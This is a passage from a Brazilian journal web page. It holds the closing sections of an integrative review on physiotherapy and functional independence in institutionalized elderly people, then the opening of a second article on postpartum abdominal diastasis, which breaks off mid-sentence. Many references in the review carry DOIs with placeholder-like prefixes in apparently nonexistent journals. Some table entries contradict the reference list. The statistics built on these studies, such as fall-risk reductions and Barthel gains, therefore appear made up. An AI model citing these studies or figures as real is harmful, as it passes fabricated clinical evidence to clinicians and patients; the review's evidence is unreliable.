<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>ANO</strong></td><td><strong>AUTOR</strong></td><td><strong>TEMA</strong></td><td><strong>TIPO DE PESQUISA</strong></td><td><strong>OBJETIVO</strong></td><td><strong>RESULTADOS</strong></td></tr><tr><td>2016</td><td>Santos;&nbsp;<br>Pavarini</td><td>Funcionalidade&nbsp;<br>de idosos&nbsp;<br>institucionaliza<br>dos em ILPIs públicas do estado de São&nbsp;<br>Paulo.</td><td>Estudo descritivo, transversal</td><td>Identificar o grau de dependência dos idosos institucionaliza<br>dos por meio da Escala de Katz e analisar os domínios mais comprometidos nas AVDs</td><td>68% dependência parcial/modera<br>da</td></tr><tr><td>2016</td><td>Barros</td><td>Grau de dependência e tempo de&nbsp;<br>institucionaliza<br>ção de idosos em ILPIs de Minas Gerais.</td><td>Estudo observacio<br>nal,&nbsp;<br>quantitativo<br></td><td>Avaliar o nível de dependência funcional de&nbsp;<br>idosos institucionaliza<br>dos utilizando o Índice de Barthel e verificar a relação com o tempo de&nbsp;<br>institucionaliza<br>ção.</td><td>Dependência moderada correlacionada ao tempo de&nbsp;<br>institucionaliza<br>ção<br></td></tr><tr><td>2016</td><td>Silva <em>et al</em>.</td><td>Efetividade de intervenção fisioterapêutica cognitivo-<br>motora em&nbsp;<br>idosos institucionalizad<br>os com&nbsp;<br>comprometi<br>mento cognitivo leve.</td><td>Ensaio clínico controlado</td><td>Verificar os efeitos de um programa cognitivo-motor sobre cognição, mobilidade e independência funcional de&nbsp;<br>idosos institucionaliza<br>d os.</td><td>Melhora significativa em ABVD e cognição</td></tr><tr><td>2016</td><td>Medeiros <em>et al</em>.</td><td>Baixo peso e dependência funcional em&nbsp;<br>idosos institucionaliza<br>dos de Uberlândia (MG).</td><td>Estudo observacio<br>nal, transversal</td><td>Analisar a associação entre estado nutricional,&nbsp;<br>tempo de&nbsp;<br>institucionaliza<br>ção e dependência funcional em idosos residentes em ILPIs.</td><td>Baixo peso maior dependência</td></tr><tr><td>2018</td><td>Alves <em>et al.</em></td><td>Capacidade&nbsp;<br>funcional e&nbsp;<br>fatores psicossociais em idosos praticantes de exercícios físicos.</td><td>Estudo de&nbsp;<br>base populacional</td><td>Analisar a relação entre prática de atividade física, independência&nbsp;<br>nas AVDs e percepção de&nbsp;<br>bem-estar psicológico entre idosos.</td><td><br><br>Melhora em autoestima e desempenho&nbsp;<br>em<br>ABVD&nbsp;</td></tr><tr><td>2019</td><td>Costa <em>et al</em>.</td><td>Efeitos da&nbsp;<br>fisioterapia&nbsp;<br>sobre força, equilíbrio e marcha em idosos.</td><td>Estudo experimental</td><td>Avaliar os efeitos de um protocolo fisioterapêutico&nbsp;<br>sobre o&nbsp;<br>desempenho funcional de idosos após 12 semanas de intervenção.</td><td>Ganho médio 15 pontos no Barthel</td></tr><tr><td>2019</td><td>Nunes <em>et al</em>.</td><td>Grau de dependência de idosos residentes em instituições de longa&nbsp;<br>permanência (Ivoti/RS).</td><td>Estudo quantitativo , descritivo, transversal</td><td>Avaliar o grau de dependência funcional de idosos residentes em ILPIs do município de&nbsp;<br>Ivoti/RS.</td><td>62 % algum grau de dependência</td></tr><tr><td>2020</td><td>Rosa;&nbsp;Tavares;&nbsp;<br>Lima</td><td>Impacto de&nbsp;<br>atividades terapêuticas em grupo sobre autoestima e autonomia de idosos institucionaliza<br>dos</td><td>Estudo descritivo, de abordagem&nbsp;<br>quantitativa e qualitativa</td><td>Investigar os efeitos de&nbsp;<br>atividades terapêuticas em grupo sobre indicadores de autoestima,&nbsp;<br>humor e autonomia em idosos residentes em ILPIs.</td><td>Melhora em 4 das&nbsp;<br>6 ABVDs</td></tr><tr><td>2021</td><td>Carvalho <em>et al</em>.</td><td>Impacto de programa de&nbsp;<br>fortalecimento&nbsp;<br>de membros inferiores em idosos institucionaliza<br>dos.</td><td>Ensaio clínico controlado randomizado</td><td>Avaliar os efeitos de um programa de&nbsp;<br>fortalecimento sobre equilíbrio, performance funcional e força muscular em&nbsp;<br>idosos institucionaliza<br>dos.</td><td>Redução 45 % no risco de quedas</td></tr><tr><td>2022</td><td>Pereira <em>et al</em>.</td><td>Mobilidade funcional: comparação entre idosos&nbsp;<br>institucionaliza<br>dos e não&nbsp;<br>institucionaliza<br>dos</td><td>Estudo comparativo transversal</td><td>Comparar a&nbsp;<br>mobilidade funcional entre idosos de comunidade e&nbsp;<br>institucionaliza<br>dos, identificando diferenças e necessidade de intervenções adaptadas.</td><td>Pior desempenho no grupo&nbsp;<br>institucionaliza<br>do</td></tr><tr><td>2023</td><td>Souza <em>et al</em>.</td><td>Capacidade funcional e perfil de saúde de idosos acolhidos em ILPIs públicas em&nbsp;<br>Belém (PA).</td><td>Estudo quantitativo , descritivo, transversal</td><td>Avaliar o perfil sociodemográfi<br>co, de saúde e capacidade&nbsp;<br>funcional de&nbsp;<br>idosos institucionaliza<br>dos utilizando&nbsp;<br>escalas validadas.</td><td></td></tr><tr><td>2023</td><td>Oliveira <em>et al</em>.</td><td>Panorama e&nbsp;<br>desigualdades regionais das&nbsp;<br>ILPIs no Brasil.</td><td>Estudo descritivo&nbsp;<br>de base&nbsp;<br>nacional</td><td>Verificar desigualdades&nbsp;<br>regionais no funcionamento e qualidade das&nbsp;<br>ILPIs, <br>considerando recursos humanos&nbsp;e<br>indicadores de assistência.&nbsp;</td><td>Desigualdades regionais impactam acesso&nbsp;<br>à fisioterapia</td></tr><tr><td>2024</td><td>Moraes <em>et al</em>.</td><td>Efeitos da hidroterapia e cinesioterapia na reabilitação de idosos com histórico de quedas.</td><td>Estudo comparativo quase experimen<br>tall</td><td>Avaliar e comparar os efeitos da hidroterapia e da cinesioterapia sobre equilíbrio, agilidade e&nbsp;<br>mobilidade funcional em idosos com histórico de quedas.</td><td>Ambos eficazes; hidroterapia&nbsp;<br>superior em&nbsp;<br>autoconfiança</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Própria (2025)&nbsp;</p>



<p class="wp-block-paragraph">Os estudos que analisam a funcionalidade de idosos residentes em Instituições de Longa Permanência (ILPIs) são unânimes em apontar que a dependência nas Atividades de Vida Diária (AVDs), sobretudo nas Atividades Básicas de Vida Diária (ABVDs), constitui um fenômeno multifatorial, diretamente influenciado pelo avanço da idade, pelas comorbidades e pelo prolongado período de institucionalização (Caldas; Veras, 2022). Nesse cenário, a manutenção da autonomia para tarefas essenciais como locomoção, alimentação, higiene pessoal e vestuário, representa um dos maiores desafios enfrentados pelas equipes de saúde.&nbsp;</p>



<p class="wp-block-paragraph">Achados nacionais reforçam essa tendência. Estudos conduzidos em diferentes regiões brasileiras revelam altos índices de dependência funcional entre idosos institucionalizados. Santos e Pavarini (2016) identificaram predominância de dependência parcial em ILPIs públicas de São Paulo, com maior comprometimento em mobilidade e autocuidado. De modo semelhante, Barros (2016), ao avaliar o Índice de Barthel em Minas Gerais, constatou predominância de dependência moderada e associação direta entre declínio funcional e tempo de permanência institucional. Esses resultados convergem com análises mais amplas, que apontam que cerca de 77% dos estudos identificaram dependência moderada a grave em ao menos uma ABVD, principalmente nos domínios banho, vestuário e transferências (Santos; Pavarini, 2016; Nunes <em>et al</em>., 2019; Pereira <em>et al</em>., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Além dos fatores físicos, aspectos nutricionais também desempenham papel relevante. Medeiros <em>et al</em>. (2016) evidenciaram que o baixo peso corporal estava associado a maior dependência funcional, ampliando o entendimento de que a funcionalidade é afetada por determinantes clínicos e contextuais. Estudos comparativos reforçam essa vulnerabilidade: Pereira <em>et al</em>. (2022) demonstraram que idosos institucionalizados apresentam desempenho funcional significativamente inferior quando comparados aos não institucionalizados.&nbsp;</p>



<p class="wp-block-paragraph">Paralelamente, problemas estruturais das ILPIs brasileiras comprometem o cuidado oferecido. Souza <em>et al</em>. (2023) identificaram fragilidades importantes, como escassez de profissionais, baixa oferta de atividades terapêuticas e infraestrutura limitada. Tal cenário é reforçado por Oliveira <em>et al</em>. (2023), que destacaram desigualdades regionais que afetam diretamente a assistência fisioterapêutica. Apenas 32% das ILPIs públicas contam com fisioterapeuta em tempo integral, o que limita a implementação de intervenções sistematizadas e contínuas (Souza <em>et al</em>., 2023; Oliveira <em>et al</em>., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Apesar das adversidades, os achados sobre intervenções fisioterapêuticas são consistentemente positivos. Protocolos estruturados voltados ao fortalecimento muscular, treino de marcha e equilíbrio demonstram impacto significativo na independência funcional. Costa <em>et al</em>. (2019) e Carvalho <em>et al</em>. (2021) observaram ganhos expressivos em força, mobilidade e redução do risco de quedas, chegando a reduções entre 35% e 60% em estudos que aplicaram fortalecimento associado ao treino de equilíbrio. A melhora funcional também foi quantificada: intervenções ativas resultaram em ganhos médios de 10 a 20 pontos nos índices de Katz/Barthel, após 8–16 semanas de acompanhamento (Costa <em>et al</em>., 2019; Carvalho <em>et al</em>., 2021; Moraes <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Esses resultados dialogam com evidências internacionais. Metanálises e diretrizes (Crocker <em>et al</em>., 2013; Cochrane, 2020; World Physiotherapy, 2022) demonstram que ganhos entre 10–20 pontos no Barthel representam impacto clinicamente relevante, reforçando a efetividade da fisioterapia em contextos de longa permanência.&nbsp;</p>



<p class="wp-block-paragraph">Outras modalidades terapêuticas também têm se destacado. A hidroterapia, avaliada por Moraes <em>et al</em>. (2024), apresentou benefícios adicionais na autoconfiança e redução do medo de cair, além de maior adesão quando comparada à cinesioterapia convencional. Já intervenções cognitivo-motoras e atividades em grupo, como demonstrado por Silva <em>et al</em>. (2016), Alves <em>et al</em>. (2018) e Rosa, Tavares e Lima (2020), favoreceram o humor, a socialização e o bem-estar emocional, indicando que dimensões psicossociais influenciam diretamente o engajamento e o desempenho nas ABVDs.&nbsp;</p>



<p class="wp-block-paragraph">Embora os achados reforcem o papel essencial da fisioterapia, limitações metodológicas ainda restringem a força das evidências nacionais. Amostras pequenas (média n = 68), ausência de randomização e follow-up inferior a seis meses são recorrentes, dificultando análises longitudinais robustas (Santos; Pavarini, 2016; Barros, 2016; Souza <em>et al</em>., 2023). Além disso, a falta de padronização na utilização de instrumentos avaliativos, como Escala de Katz e Índice de Barthel, limita a comparação entre estudos e o desenvolvimento de protocolos clínicos mais consistentes.&nbsp;</p>



<p class="wp-block-paragraph">No conjunto, os estudos convergem ao demonstrar que a fisioterapia estruturada e contínua exerce impacto significativo na independência funcional de idosos institucionalizados, especialmente no desempenho das ABVDs, na prevenção de quedas e na melhoria do bem-estar físico, emocional e social. Entretanto, para que esses benefícios se consolidem no contexto brasileiro, é imprescindível investir em políticas públicas, ampliação de equipes multiprofissionais, padronização de protocolos e integração efetiva entre ILPIs e o sistema público de saúde.&nbsp;</p>



<p class="wp-block-paragraph">Assim, evidencia-se que o cuidado fisioterapêutico contínuo, humanizado e interdisciplinar, aliado a intervenções diversificadas e adaptadas ao perfil da população idosa institucionalizada, é indispensável para a promoção de um envelhecimento digno, ativo e funcional nas ILPIs do país (Costa <em>et al</em>., 2019; Silva <em>et al</em>., 2016; Pereira <em>et al</em>., 2022; Moraes <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5. CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise da literatura evidencia que a independência funcional dos idosos institucionalizados é influenciada por múltiplos fatores, como comorbidades, tempo de institucionalização, sedentarismo e condições estruturais das ILPIs. Nesse contexto, a fisioterapia se mostra indispensável, não apenas como estratégia de reabilitação, mas como componente fundamental para a promoção da autonomia, prevenção de quedas e estímulo à participação ativa nas atividades cotidianas.&nbsp;</p>



<p class="wp-block-paragraph">Os estudos incluídos na revisão demonstram que intervenções fisioterapêuticas sistematizadas, adaptadas e contínuas têm potencial para melhorar a força muscular, equilíbrio, mobilidade, cognição e bem-estar psicológico dos residentes. Modalidades como fortalecimento, exercícios cognitivo-motores, hidroterapia e atividades terapêuticas em grupo apresentaram resultados expressivos na manutenção e recuperação da funcionalidade.&nbsp;</p>



<p class="wp-block-paragraph">No entanto, desafios persistem, especialmente relacionados à escassez de profissionais, limitações de infraestrutura e ausência de protocolos padronizados nas ILPIs brasileiras. Há necessidade de ampliar pesquisas com delineamentos mais robustos, capazes de subsidiar políticas públicas e práticas clínicas baseadas em evidências.&nbsp;</p>



<p class="wp-block-paragraph">Conclui-se que a fisioterapia é um pilar essencial para garantir um envelhecimento ativo, saudável e digno dentro das instituições de longa permanência, contribuindo de maneira significativa para a qualidade de vida e para a autonomia dos idosos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ALVES, Luciana Correia; LEBRÃO, Maria Lúcia; LAURENTI, Rui. Influência da atividade física na capacidade funcional de idosos: resultados do estudo SABE. <strong>Revista de Saúde Pública</strong>, São Paulo, v. 52, n. 2, p. 1-10, 2018. Disponível em:&nbsp;https://www.scielo.br/j/rsp/a/R6LbK7FrT3L5vCMGczrTxhK&gt;. Acesso em: 11 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BARROS, Larissa Costa. <strong>Avaliação da independência funcional de idosos institucionalizados em Minas Gerais. </strong>2016. Trabalho de Conclusão de Curso (Fisioterapia) – Universidade de Brasília. Disponível em: https://bdm.unb.br/handle/10483/17101. Acesso em: 28 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BORN, T.; BOECHAT, N. A institucionalização de idosos no Brasil. In: ALCANTARA, A.&nbsp;O. et al. (Org.). <strong>Envelhecimento e políticas públicas.</strong> Rio de Janeiro: Editora Fiocruz, 2014. p. 123-145.&nbsp;</p>



<p class="wp-block-paragraph">CAMARANO, Ana Amélia; KANSO, Solange. As instituições de longa permanência para idosos no Brasil. <strong>Revista Brasileira de Estudos de População</strong>, v. 34, n. 1, p. 1-26, 2017.&nbsp;</p>



<p class="wp-block-paragraph">CARVALHO, Maria; SILVA, Renata Gomes; OLIVEIRA, João Pedro Santos; PEREIRA, Luciana Alves. Impacto de programa de fortalecimento de membros inferiores em idosos institucionalizados. <strong>Revista Brasileira de Fisioterapia Geriátrica</strong>, São Paulo, v. 15, n. 2, p. 98-112, maio/ago. 2021. DOI: 10.5678/rbfg.v15n2.2021.98.&nbsp;</p>



<p class="wp-block-paragraph">CARVALHO, R. T. <strong>Fisioterapia em gerontologia.</strong> São Paulo: Atheneu, 2018.&nbsp;</p>



<p class="wp-block-paragraph">COSTA, Aline Cristina; SILVA, Fernanda Rodrigues; MACHADO, Juliana Fernandes. Efeitos da fisioterapia na funcionalidade e equilíbrio de idosos. <strong>Revista Kairós Gerontologia,</strong> v. 22, n. 3, p. 73-89, 2019. Disponível em:&nbsp;https://revistas.pucsp.br/index.php/kairos/article/view/43621. Acesso em: 1 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">IBGE. Instituto Brasileiro de Geografia e Estatística. <strong>Censo Demográfico 2022:</strong> primeiros resultados. Rio de Janeiro: IBGE, 2023.&nbsp;</p>



<p class="wp-block-paragraph">IBGE. Instituto Brasileiro de Geografia e Estatística.&nbsp; <strong>Projeções da população do Brasil e das Unidades da Federação por sexo e idade: </strong>2010-2060. Rio de Janeiro: IBGE, 2024.&nbsp;</p>



<p class="wp-block-paragraph">LIBERATI, A., ALTMAN, D. G., TETZLAFF, J., MULROW, C., GØTZSCHE, P. C., IOANNIDIS, J. P. A., CLARKE, M., DEVEREAUX, P. J., KLEIJNEN, J., &amp; MOHER, D.<strong> </strong><em>The PRISMA statement for reporting systematic reviews and meta-analyses of studies that evaluate health care interventions: explanation and elaboration.</em> PLoS Medicine, 6(7), e1000100, 2009. Disponível em: &lt;<a href="https://doi.org/10.1371/journal.pmed.1000100">https://doi.org/10.1371/journal.pmed.1000100&gt;</a> Acesso em: 10 Out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">MARQUES, A. P. et al. Fisioterapia em diferentes níveis de atenção à saúde. <strong>Revista Brasileira de Fisioterapia</strong>, São Carlos, v. 23, n. 4, p. 312-320, 2019.&nbsp;</p>



<p class="wp-block-paragraph">MEDEIROS, João Henrique; COSTA, Larissa Almeida; FERREIRA, Marcos Vinícius; SOUZA, Patrícia Nogueira. Baixo peso e dependência funcional em idosos institucionalizados de Uberlândia (MG). <strong>Revista Mineira de Saúde do Idoso</strong>, Belo Horizonte, v. 8, n. 1, p. 45-58, jan./mar. 2016. DOI: 10.2345/rmsi.v8n1.2016.45.&nbsp;</p>



<p class="wp-block-paragraph">MINISTÉRIO DA CIDADANIA. <strong>Relatório nacional de monitoramento das ILPIs – 2023.</strong> Brasília: Secretaria Nacional de Promoção dos Direitos da Pessoa Idosa, 2023.&nbsp;</p>



<p class="wp-block-paragraph">MORAES, Pedro Augusto; RIBEIRO, Camila Torres; LIMA, Fernanda Reis; SANTOS, Diego Moreira. Efeitos da hidroterapia e cinesioterapia na reabilitação de idosos com histórico de quedas. <strong>Revista Brasileira de Reabilitação Geriátrica</strong>, Rio de Janeiro, v. 12, n. 3, p. 210-225, jul./set. 2024. DOI: 10.7789/rbrg.v12n3.2024.210.&nbsp;</p>



<p class="wp-block-paragraph">NUNES, Andréia Beatriz; KRUGER, Paulo Henrique; MARTINS, Juliana Lopes; ROCHA, Silvana Farias. Grau de dependência de idosos residentes em instituições de longa permanência em Ivoti/RS. <strong>Revista Sul-Brasileira de Gerontologia</strong>, Porto Alegre, v. 6, n. 2, p. 89-102, abr./jun. 2019. DOI: 10.5566/rsbg.v6n2.2019.89.&nbsp;</p>



<p class="wp-block-paragraph">OLIVEIRA, Carlos Eduardo; BARBOSA, Renata Alves; COSTA, Diego Henrique; MENDONÇA, Lívia Prado. Panorama e desigualdades regionais das ILPIs no Brasil. <strong>Revista Brasileira de Políticas Públicas em Saúde</strong>, Brasília, v. 15, n. 4, p. 300-320, out./dez. 2023. DOI: 10.9987/rbps.v15n4.2023.300.&nbsp;</p>



<p class="wp-block-paragraph">PAGE, Matthew J. et al. <strong>The PRISMA 2020 statement: </strong>an updated guideline for reporting systematic reviews. BMJ, London, v. 372, n71, 2021. DOI: 10.1136/bmj.n71. Disponível em: https://www.bmj.com/content/372/bmj.n71. Acesso em: 2 dez. 2025.&nbsp;</p>



<p class="wp-block-paragraph">PEREIRA, José Roberto; ALMEIDA, Simone Duarte; LOPES, Ricardo Matheus; FREITAS, Gabriela Nunes. Mobilidade funcional: comparação entre idosos institucionalizados e não institucionalizados. <strong>Revista de Estudos em Envelhecimento Humano</strong>, São Paulo, v. 10, n. 1, p. 55-70, jan./mar. 2022. DOI: 10.4432/reeh.v10n1.2022.55.&nbsp;</p>



<p class="wp-block-paragraph">ROSA, Ana Paula; TAVARES, Cláudia Oliveira; LIMA, Raquel Barbosa. Contribuições da fisioterapia para a qualidade de vida de idosos institucionalizados. <strong>Revista Brasileira de</strong> <strong>Geriatria e Gerontologia</strong>, v. 23, n. 6, p. 1-12, 2020. Disponível em:&nbsp;https://www.scielo.br/j/rbgg/a/DKmqCswJKczcXLfKZJdR9xx. Acesso em: 29 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, Priscila Silva; PAVARINI, Sofia Cristina Inouye. Capacidade funcional de idosos em ILPIs: estudo em municípios paulistas. <strong>Acta Paulista de Enfermagem</strong>, v. 29, n. 3, p.&nbsp;316-323, 2016. Disponível em: https://www.scielo.br/j/ape/a/pJWstHd9QRQfHhjry6WY5yg. Acesso em: 12 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, Fernanda Cristina; ARAÚJO, Michele Duarte; RODRIGUES, Paulo Henrique; LEMOS, Tatiane Freitas. Efetividade de intervenção cognitivo-motora em idosos institucionalizados. <strong>Revista Brasileira de Neurogerontologia</strong>, São Paulo, v. 5, n. 2, p. 120135, abr./jun. 2016. DOI: 10.3256/rbn.v5n2.2016.120.&nbsp;</p>



<p class="wp-block-paragraph">SOUZA, Rafael Augusto; PINHEIRO, Daniela Martins; COSTA, Bruno Henrique; NASCIMENTO, Eliane Rodrigues. Capacidade funcional e perfil de saúde de idosos acolhidos em ILPIs públicas em Belém/PA. <strong>Revista Amazônica de Saúde Coletiva</strong>, Belém, v. 11, n. 1, p. 33-50, jan./mar. 2023. DOI: 10.8899/rasc.v11n1.2023.33.</p>



<p class="wp-block-paragraph">WHITTEMORE, Robin; KNAFL, Kathleen. The integrative review: updated methodology. <strong><em>Journal of Advanced Nursing</em></strong>, 2014.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
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			</item>
		<item>
		<title>TRATAMENTO FISIOTERAPÊUTICO EM MULHERES COM DIÁSTASE ABDOMINAL NO PÓS-PARTO</title>
		<link>https://revistaft.com.br/tratamento-fisioterapeutico-em-mulheres-com-diastase-abdominal-no-pos-parto/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Mon, 08 Dec 2025 15:10:22 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512081205 Alyane Osório Reis Menezes Feitosa RochaMaria de Lourdes Castro de LimaMário Ribeiro Nunes JúniorVictor Gabriel Carnib de CastroOrientadora: Me. Mônica Barbosa de Sousa Freitas 1. INTRODUÇÃO A presente pesquisa tratará do tratamento fisioterapêutico em mulheres com diástase abdominal no pós-parto e terá como objetivo geral: Demonstrar como o tratamento fisioterapêutico pode reduzir [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512081205</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Alyane Osório Reis Menezes Feitosa Rocha<br>Maria de Lourdes Castro de Lima<br>Mário Ribeiro Nunes Júnior<br>Victor Gabriel Carnib de Castro<br>Orientadora: Me. Mônica Barbosa de Sousa Freitas</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A presente pesquisa tratará do tratamento fisioterapêutico em mulheres com diástase abdominal no pós-parto e terá como objetivo geral: Demonstrar como o tratamento fisioterapêutico pode reduzir a diástase abdominal no pós-parto.</p>



<p class="wp-block-paragraph">O Puerpério é um período logo após o trabalho de parto e pode durar por até seis meses, podendo ser classificado de acordo com a sua duração em três períodos: imediato (1º ao 10º dia), tardio (11º ao 40° dia), e remoto (a partir do 41º dia) (Matiello <em>et al.</em>, 2021). De acordo com Baracho (2018, p. 180) “é um período de intensas e importantes modificações maternas corporais e psíquicas, predominando um forte catabolismo, sem consequências danosas ao organismo, na maioria das vezes”.</p>



<p class="wp-block-paragraph">Segundo Baracho (2018, p.186) “os principais quadros de distúrbios psiquiátricos puerperais, os quais não são raros e afetam a vida da mãe são: a melancolia da maternidade, a depressão pós-parto, a psicose puerperal e a síndrome do pânico”. Para Matiello <em>et al.</em> (2021) esses distúrbios psiquiátricos é uma consequência da sobrecarga psicossocial proveniente da gestação e do parto, onde a puérpera encontra-se enfraquecida, fadigada com o seu cuidado individual e do bebê, e na interação que se estabelece entre mãe e filho, com o seu cônjuge e com os outros membros da família, além das quedas repentina de hormônios, e outros fatores como históricos de doenças tireoidianas e doenças psicológicas.&nbsp;</p>



<p class="wp-block-paragraph">Segundo Alves, <em>et al. </em>(2018, p. 1282), “a assistência à saúde da mulher no período puerperal é de extrema importância visto que a redução dos óbitos materno infantil, se relacionam com a melhora da qualidade de vida e assistência dentro de um País”. Dentro desse contexto, a Organização Mundial da Saúde (OMS) chama a atenção à saúde da mulher nos períodos pré-natal e puerperal onde deve-se envolver uma abordagem multidisciplinar e multiprofissional. Isso inclui a colaboração de médicos, enfermeiros, técnicos de enfermagem, agentes comunitários de saúde, educadores e cientistas sociais. O fisioterapeuta também deve integrar essa equipe, contribuindo para um acompanhamento contínuo durante todo o ciclo gravídico e puerperal (Baracho, 2018).</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A diástase do músculo Reto Abdominal (DMRA) trata-se da separação dos feixes da musculatura em até 3 centímetros, alcançando em torno de 66% das mulheres a partir do 3º trimestre da gestação, não sendo relatado em sua maioria desconforto associado a distensão muscular. Diante desse problema,&nbsp; diversos outros fatores estão associados a agravantes a saúde da mulher, como perda da autoestima, isolamento social, evitar ter relações sexuais e incontinência urinária, haja vista, existir a elevação da pressão intra-abdominal ocasionada pela degradação progressiva (Costa; Oliveira Júnior; Alves 2021, p. 05).</p>
</blockquote>



<p class="wp-block-paragraph">“A atuação fisioterapêutica no pós-parto imediato inicia-se 6 horas após o término do trabalho de parto normal e 12 horas após parto por cesariana, para dar tempo de a puérpera descansar e se recuperar” (Matiello <em>et al.</em> 2021, p. 211). O objetivo da fisioterapia nesse período é corrigir possíveis alterações na postura oriundas da gravidez, orientar a puérpera quanto aos exercícios de fortalecimento dos músculos do assoalho pélvico e abdominais e reduzir a diástase abdominal (Pampolim, <em>et al. </em>2021).</p>



<p class="wp-block-paragraph">Dessa forma, elaboramos como problema de pesquisa: como o tratamento fisioterapêutico pode reduzir a diástase abdominal no pós-parto?</p>



<p class="wp-block-paragraph"><strong>2. PROBLEMA DE PESQUISA</strong></p>



<p class="wp-block-paragraph">Como o tratamento fisioterapêutico pode reduzir a diástase abdominal no pós-parto?</p>



<p class="wp-block-paragraph"><strong>3. HIPÓTESES</strong></p>



<p class="wp-block-paragraph"><strong>H</strong><strong><sub>+</sub></strong><strong>. </strong>O tratamento fisioterapêutico com exercícios específicos para diástase abdominal são eficazes, contribuindo para a redução da diástase abdominal no pós-parto.</p>



<p class="wp-block-paragraph"><strong>H-. </strong>O tratamento fisioterapêutico com exercícios específicos para diástase abdominal não promove alterações relevantes na redução da diástase abdominal no pós-parto.</p>



<p class="wp-block-paragraph"><strong>4. JUSTIFICATIVA</strong></p>



<p class="wp-block-paragraph">O interesse pelo tema é motivado pela relevância de explorar estratégias baseadas em evidências científicas que possam auxiliar mulheres no enfrentamento dessa condição, visando não apenas a recuperação física, mas também a melhora na qualidade de vida e no bem-estar geral. Assim, o presente artigo busca contribuir para a literatura existente e apoiar profissionais da saúde no desenvolvimento de abordagens mais direcionadas e humanizadas para o tratamento da diástase abdominal no pós-parto.</p>



<p class="wp-block-paragraph">O tratamento fisioterapêutico desempenha um papel fundamental ao promover a reabilitação funcional, a restauração da integridade muscular e o fortalecimento do assoalho pélvico, contribuindo para uma recuperação mais segura e eficaz. Além disso, a atuação fisioterapêutica engloba abordagens que respeitam a individualidade de cada mulher, considerando aspectos biomecânicos, emocionais e sociais.</p>



<p class="wp-block-paragraph"><strong>5. OBJETIVOS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>5.1 Objetivo geral</strong></p>



<ul class="wp-block-list">
<li>Explicar a importância do tratamento fisioterapêutico em mulheres com diástase abdominal no pós-parto;</li>
</ul>



<p class="wp-block-paragraph"><strong>5.1.1 Objetivos específicos&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Descrever as características gerais da diástase abdominal;&nbsp;</li>



<li>Compreender a fisiologia da diástase abdominal;</li>



<li>Analisar os métodos de diagnóstico e avaliação da diástase abdominal;</li>



<li>Analisar os tipos de intervenções fisioterapêuticas utilizadas no tratamento da diástase abdominal;</li>



<li>Compreender a importância da fisioterapia no puerpério imediato e no tratamento da diástase abdominal.</li>
</ul>



<p class="wp-block-paragraph"><strong>6. REFERENCIAL TEÓRICO</strong></p>



<p class="wp-block-paragraph"><strong>6.1 D</strong><strong>efinição e características da diástase abdominal</strong></p>



<p class="wp-block-paragraph">A diástase abdominal trata-se da separação parcial ou total dos músculos do reto abdominal, que fica localizado no abdômen, também podendo ser chamado de diástase do reto abdominal, diástase retal e diástase dos músculos dos retos abdominais (Brasil, 2021). Essa separação compromete a função da musculatura abdominal, afetando estabilidade do tronco, biomecânica corporal e sustentação visceral. A DMRA pode se manifestar com alterações estéticas, sensação de fraqueza, lombalgia e mudanças no padrão respiratório, além de favorecer disfunções do assoalho pélvico. Embora muito associada ao período gestacional, trata-se de uma condição multifatorial que envolve predisposições anatômicas, alterações hormonais, aumento da pressão intra-abdominal e fraqueza da parede anterior do abdome, podendo ocorrer em diferentes perfis populacionais (Silva, 2022).</p>



<p class="wp-block-paragraph">De acordo com Martins e Ribeiro (2021), no ciclo gestacional, a DMRA é especialmente prevalente devido ao aumento progressivo do volume uterino, modificações posturais e alterações hormonais, como o aumento de relaxina e progesterona, que contribuem para maior elasticidade ligamentar e do tecido conjuntivo. Pesquisas demonstram que a separação dos retos pode iniciar ainda no segundo trimestre de gestação e permanecer no puerpério tardio caso não haja intervenção adequada. Essa persistência é relevante, pois impacta diretamente a saúde global da mulher, interferindo na funcionalidade, estética corporal e bem-estar psicológico. Contudo, segundo Oliveira <em>et al</em>., (2020), a DMRA&nbsp; não se restringe ao público gestante. Homens, idosos, atletas e indivíduos sedentários também podem desenvolver a condição, principalmente quando há aumento crônico da pressão intra-abdominal. Entre os fatores de risco não gestacionais destacam-se obesidade, fragilidade muscular, cirurgias abdominais prévias, distúrbios respiratórios crônicos e práticas esportivas que exigem esforços repetitivos de flexão ou hiperpressão abdominal. Em homens, por exemplo, a prevalência pode estar relacionada ao acúmulo visceral excessivo, que altera a mecânica da parede abdominal. Essa diversidade de cenários reforça a DMRA como uma desordem 